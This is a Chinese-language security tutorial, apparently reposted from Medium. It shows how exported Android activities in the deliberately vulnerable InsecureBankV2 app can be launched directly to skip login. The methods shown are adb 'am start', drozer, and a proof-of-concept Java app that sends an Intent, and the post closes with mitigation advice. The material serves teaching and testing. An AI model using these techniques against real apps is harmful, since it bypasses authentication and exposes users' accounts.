Android活动(Activities)Exploiting 技术

admin 2024年9月24日12:05:33评论7 views字数 3330阅读11分6秒阅读模式

Activities Exploiting 技术

Android活动(Activities)Exploiting 技术

在本文中,我将详细解释如何利用安卓Activity组件的各种方式。让我们直接进入正题吧……

什么是Activity?

什么是Activity?

  • Activity是Android应用程序中的基本组件之一。

  • 它代表一个带有用户界面的单独屏幕,用户可以在该界面上进行交互。

  • Activity负责管理用户界面的生命周期,并处理用户输入。

  • 在Android应用中,每个屏幕都通过一个独立的Activity类实现。

  • 开发者可以使用XML和Java或Kotlin代码来自定义Activity。

  • 它还负责管理应用的流程和导航,确保用户在不同界面间流畅切换。

Exported Activity

Exported Activities是指可以被其他应用程序启动的Activity。

默认情况下,Activity是无法被其他应用程序访问的,除非在应用配置中明确指定。

Exported Activities可以通过在AndroidManifest.xml文件中添加如下代码进行设置:

  1. <manifestxmlns:android="http://schemas.android.com/apk/res/android"

  2. package="com.example.myapp">

  3. <application>

  4. <activity

  5. android:name=".ExportedActivity"

  6. android:exported="true">

  7. <!-- 如果有的话,Intent过滤器 -->

  8. </activity>

  9. </application>

  10. </manifest>

虽然Exported Activities在Android应用中可能非常有用,但如果实现不当,也可能带来安全风险。

当在AndroidManifest.xml文件中将Activity的 exported属性设置为 true时,意味着该Activity可以被设备上的其他应用程序启动;如果设置为 false,则无法被其他应用启动。

为了更好地演示这个问题,我将使用InsecureBankV2漏洞应用程序进行测试。

在安装应用并使用jadx进行反编译(当然你可以使用其他工具),通过搜索 exported关键字,我发现该应用程序有三个Activity被导出,其中一个叫做PostLogin。

考虑到这一点,我们实际上可以绕过DoLogin活动,直接跳转到PostLogin活动,而无需在应用中进行身份验证。

Android活动(Activities)Exploiting 技术

要利用这个exported activity,我们需要安装adb并使用一个模拟器。

在我的案例中,我将使用我的可信赖的、为了便宜的安卓游戏而设计的BlueStacks模拟器。

在通过adb shell获取模拟器的shell之后,我们可以使用 "am"(Activity Manager)命令,这个命令允许我们通过终端调用活动以及执行其他操作。

为了调用我们的PostLogin活动:

  1. am start -n com.android.insecurebankv2/.PostLogin

  2. # am start -n packagename/.activityname

Android活动(Activities)Exploiting 技术

我们还可以启动DoTransfer和ViewStatement活动。

此外,我们也可以使用drozer来启动这些exported activities。

什么是drozer?

Drozer是由FSecureLABS开发的Android应用安全测试框架,旨在帮助测试人员更轻松地创建测试用例并对Android应用进行安全评估。

请注意,您需要在计算机上安装Drozer工具,并在模拟器上安装Drozer Agent。

要通过drozer启动PostLogin活动,可以使用以下命令:

  1. run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin

  2. #run app.activity.start --component package_name component_name

以上提供的利用Activities的方式是不错的,但在现实生活中并不适用,因为我们(攻击者)无法访问用户的手机shell,因此无法运行shell命令。

最后一种与现实生活场景相关的方法是实际开发一个Android应用程序,触发一个Intent,以启动InsecureBankv2应用的exported activity。

  1. package com.example.application;

  2. import androidx.appcompat.app.AppCompatActivity;

  3. import android.content.Intent;

  4. import android.os.Bundle;

  5. import android.view.View;

  6. publicclass launchVulnIntent extendsAppCompatActivity{

  7. @Override

  8. protectedvoid onCreate(Bundle savedInstanceState){

  9. super.onCreate(savedInstanceState);

  10. setContentView(R.layout.activity_launch_vuln_intent);

  11. }

  12. // 单击触发时运行的函数

  13. publicvoid triggerIntent(View view){

  14. Intent launch =newIntent(Intent.ACTION_SEND);

  15. launch.setClassName("com.android.insecurebankv2","com.android.insecurebankv2.PostLogin");

  16. startActivity(launch);

  17. }

  18. }

对应的XML布局文件为:

  1. <?xml version="1.0" encoding="utf-8"?>

  2. <androidx.constraintlayout.widget.ConstraintLayoutxmlns:android="http://schemas.android.com/apk/res/android"

  3. xmlns:app="http://schemas.android.com/apk/res-auto"

  4. xmlns:tools="http://schemas.android.com/tools"

  5. android:layout_width="match_parent"

  6. android:layout_height="match_parent"

  7. tools:context=".launchVulnIntent">

  8. <Button

  9. android:id="@+id/triggerLaunch"

  10. android:layout_width="wrap_content"

  11. android:layout_height="wrap_content"

  12. android:text="Trigger Me If YOU Can"

  13. android:onClick="triggerIntent"

  14. tools:ignore="MissingConstraints"/>

  15. </androidx.constraintlayout.widget.ConstraintLayout>

这段代码基本上会在按钮被点击时触发 triggerIntent函数,从而激活一个指向我们脆弱的exported activity的Intent,允许我们直接访问它。

这将是一个很好的POC(概念验证

Android活动(Activities)Exploiting 技术

缓解措施:

  • 除非你确实希望导出Activity,否则将“android”设置为“false”。

  • 如果确实需要导出,确保限制可以访问该Activity的应用程序。

The end

谢谢你的阅读,希望你喜欢这篇文章。❤

Thanks for src: https://medium.com/@0xkenway/exploiting-android-activities-f398a796e021

原文始发于微信公众号(一个不正经的黑客):Android活动(Activities)Exploiting 技术

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月24日12:05:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Android活动(Activities)Exploiting 技术https://cn-sec.com/archives/3200077.html

发表评论

匿名网友 填写信息